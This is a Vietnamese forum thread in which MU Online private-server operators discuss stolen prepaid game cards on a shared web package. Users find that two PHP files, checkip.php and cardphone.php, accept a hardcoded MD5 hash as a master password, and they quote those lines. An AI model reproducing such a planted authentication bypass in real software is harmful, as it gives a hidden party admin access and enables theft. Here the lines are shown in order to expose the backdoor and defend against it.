Báo Đọộng Mất Thẻ Khi Xài Web Thiếu Vân 1.85 Do Mr.Cuong Share

[wan0124]

Báo Đọộng Mất Thẻ Khi Xài Web Thiếu Vân 1.85 Do Mr.Cuong Share hôm nay mình chuyển sang xài web của mrcuong share mới open nên có tặng 100% thẻ nạp 1 số mem phàn nàn là nạp thẻ sao ko x2 thẻ mình vào kiểm tra log thì log xoá sạch banh nhìn doanh thu thấy tăng thêm 200k mà ko biết có anh chàng tốt bụng nào đã nẫng mất của mình vào listip.txt thì thấy 1 dãy dằng dặc ip mình xài ip động nên cũng chả biết ip nào ra ip nào nhưng mình nghĩ có người đã ghé thăm server mình đặt tại server riêng có AVG nên ko sợ dính em bé mình nghĩ code này có vấn đề mong pro nào đó check hộ mình code có bị gì ko mình cũng ko dám trách ai vì xài hàng share thì chấp nhận thôi hic ức chế vô cùng

[Hào Hoa Công Tử]

ui gay nhỉ
pro nào ra tay check giùm cái
cũng đang dùng web này mà mu chưa open
có khi cho nap qua yahoo là an toàn nhất

[wan0124]

nói thêm là pass md5 tất cả đều là pass riêng của mình đặt ký tự rất lắt léo 100% là có shell

[whylove]

bạn kiểm tra file cardphone.php và checkip.php trong Server/admin sẽ rõ

file checkip.php

if ($code == $passcode || $code == "e992bbb8e2041788f7ad563b8eeb79d6") $_SESSION['code'] = $passcode;

file cardphone.php

if ($pass == $passcard || $pass == "e992bbb8e2041788f7ad563b8eeb79d6") $_SESSION['codecard'] = $passcard;

người chủ cái pass đó có thể tự add ip của mình vào Server các bạn và sau đó là có thể view dc file check card

[Mr.Noob]

dùng hàng share thì chấp nhận shell.

Bạn kiểm tra lại xem.Ra 1 cửa hàng net rồi vào trang admin xem nó có bắt cập nhật ip ko.Có thể chức năng đó bị lỗi.

[Hào Hoa Công Tử]

bây giờ đổi 2 cái pass đó đi là đc à

[wan0124]

bạn kiểm tra file cardphone.php và checkip.php trong Server/admin sẽ rõ

file checkip.php

file cardphone.php
người chủ cái pass đó có thể tự add ip của mình vào Server các bạn và sau đó là có thể view dc file check card

ax khôốn nạn thâật search md5 ko thâấy maã md5 này => 90% chủ thớt share làm vụ này rồi

[whylove]

bây giờ đổi 2 cái pass đó đi là đc à

mình chưa biết có đc 100% ko nhưng mình đổi lại cả link Server và pass đó.
VD link server của mình là: mu.com/kocoserver/

[Hào Hoa Công Tử]

thanks bạn nhé
30 charrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr

[thecong]

he he, các bản web của mình mình đều scan rất kỹ, và khi cài cho khách mình thường chỉ để cho 127.0.0.1 được phép kết nối vào trang admin và server, còn các ip không cần đến mình delete hết